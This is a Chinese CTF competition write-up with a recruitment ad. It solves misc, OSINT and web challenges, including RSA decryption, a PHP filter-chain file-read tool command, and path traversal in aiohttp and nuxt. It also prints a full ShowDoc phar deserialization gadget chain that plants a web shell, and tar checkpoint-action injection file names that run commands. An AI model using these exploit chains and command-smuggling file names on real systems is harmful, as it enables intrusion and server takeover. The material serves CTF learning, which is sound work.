招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected] (带上简历和想加入的小组)
Misc
MISC - 我有一个朋友...
和机器人随便聊两句,就有了
image-20240824205301733
MISC - ez_misc
给了个压缩包,里面是个流量包和一个压缩包
在流量包里面发现rsa的n,e,c
image-20240825132447368
于是写脚本解密
from Crypto.Util.number import * n= 43489217925558007563636756391400797378149529574751021903496069282535133839006866223260410550599538413407426964614588006275007400246991078260390312195904589721338428085434172399719461589261992218665591773334129943107225575727780195166055393685218448420720438980410624810057704307625828329627767464148252758001 e= 65537 c= 36130878068248402738560299131646475603724825552357501315563339107931689677118969949120034243479180229973732010106235105382800417726466593880006557216051126730665469539293176332289284136350093429079449794175396650185724862085491944146833903655679903611518298996520196270292730040114431445396188731766010616304 p = 81207361375222669491316104953044746246400146737625592406724026490508197814501 phi = p ** 3 * (p - 1 ) d = inverse(e, phi) print(d) print(pow(c,d,n)) print(long_to_bytes(pow(c, d, n)))
得到
flag{the_password_is_zkaq!!!}
,用密码
the_password_is_zkaq!!!
打开压缩包,
里面是key.txt和flag.zip,key.txt感觉没有用
直接用字典就跑出来了flag.zip的密码,
image-20240825132833424
用
s1mple
打开就是flag。
image-20240825133648903
OSINT - 摄影出片
原题,链接。
https://www.cnblogs.com/Mar10/p/18281173
flag:zkaq{Arlington Street, Boston}
web
web-php
源码:
show_source(__FILE__ ); file($_POST['a' ]); ?>
只有file函数,无法回显。
找到一篇文章,
https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7DyDmxiTU4ROc1Qx%3DoD#toc-16
使用PHP中的包装器filter实现任意文件读取攻击,直接用他的工具。
python .\filters_chain_oracle_exploit.py --target http://tefgmrho.lab.aqlab.cn --file /flag --parameter a --headers "{"Authorization": "Basic emthcTp6a2Fx"}"
image-20240824205904318
得到flag。
web2
先注册登录,尝试直接读取flag /server/index.php?s=/../../../../flag.txt 直接爆出了绝对路径
image-20240824210051100
showdoc 3.25存在前台rce漏洞,
直接打现成的链子:
namespace GuzzleHttp \Cookie { class CookieJar { private $cookies ; public function __construct () { $this ->cookies = array (new SetCookie()); } private $strictMode; } class FileCookieJar extends CookieJar { private $filename = "/var/www/html/shell.php" ; private $storeSessionCookies = true ; } class SetCookie { private $data = array ('Expires' => '' ); } } namespace { $phar = new Phar ("shell .phar "); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a" ."" ); //设置stub $o = new \GuzzleHttp\Cookie\FileCookieJar(); $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest $phar->addFromString("test.txt" , "test" ); //添加要压缩的⽂件 //签名⾃动计算 $phar->stopBuffering(); }
生成phar文件,还需改个jpg后缀。
然后上传shell.jpg,查看图片路径
image-20240824210434218
image-20240824210446876
然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../Public/Uploads/2024-08-24/66c99c8ba850b.jpg,然后访问我们写入马子的位置
image-20240824210648944
可成功getshell,然后蚁剑连接拿flag
image-20240824210728198
Just A Index
image-20240825125404809
打开发现啥也没有,发现用的是aiohttp/3.9.1,这个版本有一个目录遍历漏洞
image-20240825125452145
于是直接读flag
image-20240825125621404
AWD
Nothing
nuxt的任意文件读取漏洞
image-20240824210957118
可以获取flag
image-20240824211025215
Scan
image-20240825125718342
题目长这样,给出了附件
app.py :
import flaskimport subprocessimport re app = Flask(__name__)... ...@app.route('/submit', methods=['POST']) def submit () : ... ... if url is None : return "No URL! " , 400 if not url_pattern.match(url): return "URL格式错误!" , 400 if url: command = ['./nuclei' , '--silent' , '-u' , url, '-t' , '0day-templates.yaml' ] try : result = subprocess.run(command, capture_output=True , text=True ) print(result.stdout) if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout: return flag else : return "非常安全,没有问题!" except subprocess.CalledProcessError: return "Error occurred while running command" return "Invalid request" if __name__ == '__main__' : ... ...
0day-templates.yaml
id: custom-templates info: name: woowohhhhhhh author: xxx severity: info reference: https://xxx.com metadata: max-request: 2 tags: ctf,zkaq http: - raw: - | GET /api/v1/version/ HTTP/1.1 Host: {{Hostname}} Referer: https://xxx.com - | GET /api/v2/echo/?name=&file=/etc/p0sswd_95271834 HTTP/1.1 Host: {{Hostname}} Referer: https://xxx.com req-condition: true matchers-condition: and matchers: - type: dsl dsl: - compare_versions(version, '<= 10.0.5' , '> 10.0.1' ) - type: word part: body_1 words: - "\"NAME\":\"HACKER\"" - "\"msg\":\"success\"" condition: and case-insensitive: true - type: dsl dsl: - "regex('zkaq{[a-z]}', body_2)" - 'contains(body_2, "")' - "status_code_2 == 200" condition: and - type: status status: - 200 extractors: - type: regex name: version group: 1 internal: true part: body_1 regex: - "\"version\":\"([0-9.]+)\""
简单审计代码,发现主要有两个检查
从
/api/v1/version/
读取响应,通过使用正则表达式提取版本号来检查 API 版本的响应。
它查找类似
“version”:“X.X.X”
的模式,并提取
X.X.X
部分作为版本号。
然后,它会比较此提取的版本,以确保它小于或等于 10.0.5 和大于 10.0.1。
/api/v2/echo
从
/api/v2/echo/
终端节点读取响应,然后检查响应正文 (
body_1
) 是否包含特定内容,
包括
“NAME”:“HACKER”
和
“msg”:“success”。
此检查不区分大小写。
在
body_2
上执行正则表达式匹配,查找模式
zkaq{[a-z]}
。
会检查
body_2
是否包含字符串
“
”。
确保 HTTP 状态代码为 200 (
status_code_2 == 200
)。
在自己的服务器上创建一个目录html
设置
/api/v1/version
创建index.html
html ><html > <head > <title > First Endpointtitle >head ><body > <p > {"NAME":"HACKER","msg":"success","version":"10.0.4"}p >body >
设置
/api/v2/echo
创建index.html
html ><html > <head > <title > Second Endpointtitle >head ><body > <p > xxxcomp > <p > zkaq{a}p > <script > alert(1111)script >body >html >
然后再html下执行
python3 -m http.server 9999
访问链接即可得到flag
image-20240825132019210
压缩打包站
一个上传题目
功能源代码 :
# upload file @app.route('/api/upload', methods=['POST']) def upload () : file = request.files.get('file' , None ) if file is None : return 'No file provided' , 400 # check for path traversal if '..' in file.filename or '/' in file.filename: return 'Invalid file name' , 400 # check file size if len(file.read()) > 1000 : return 'File too large' , 400 file.save(f'uploads/{g.uuid} /{file.filename} ' ) return 'Success! ' , 200 # download file @app.route('/api/download', methods=['GET']) def download () : @after_this_request def remove_file (response) : os.system(f"rm -rf uploads/{g.uuid} /out.tar" ) return response # make a tar of all files os.system(f"cd uploads/{g.uuid} / && tar -cf out.tar *" ) # send tar to user return send_file(f"uploads/{g.uuid} /out.tar" , as_attachment=True , download_name='download.tar' , mimetype='application/octet-stream' )
存在命令:
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *" )
于是上传文件名为
--checkpoint-action=exec =python3 -c "import os;x = chr(47);os.system(f'cp {x}flag* .')"
--checkpoint=1
的文件。
点击下载按钮后,刷新页面后,文件列表显示了一个名为
flag_2ac4860abcaf706adb7ae07f81f69e24
的附加文件。
image-20240825153553548
打开就是flag。
image-20240825153618093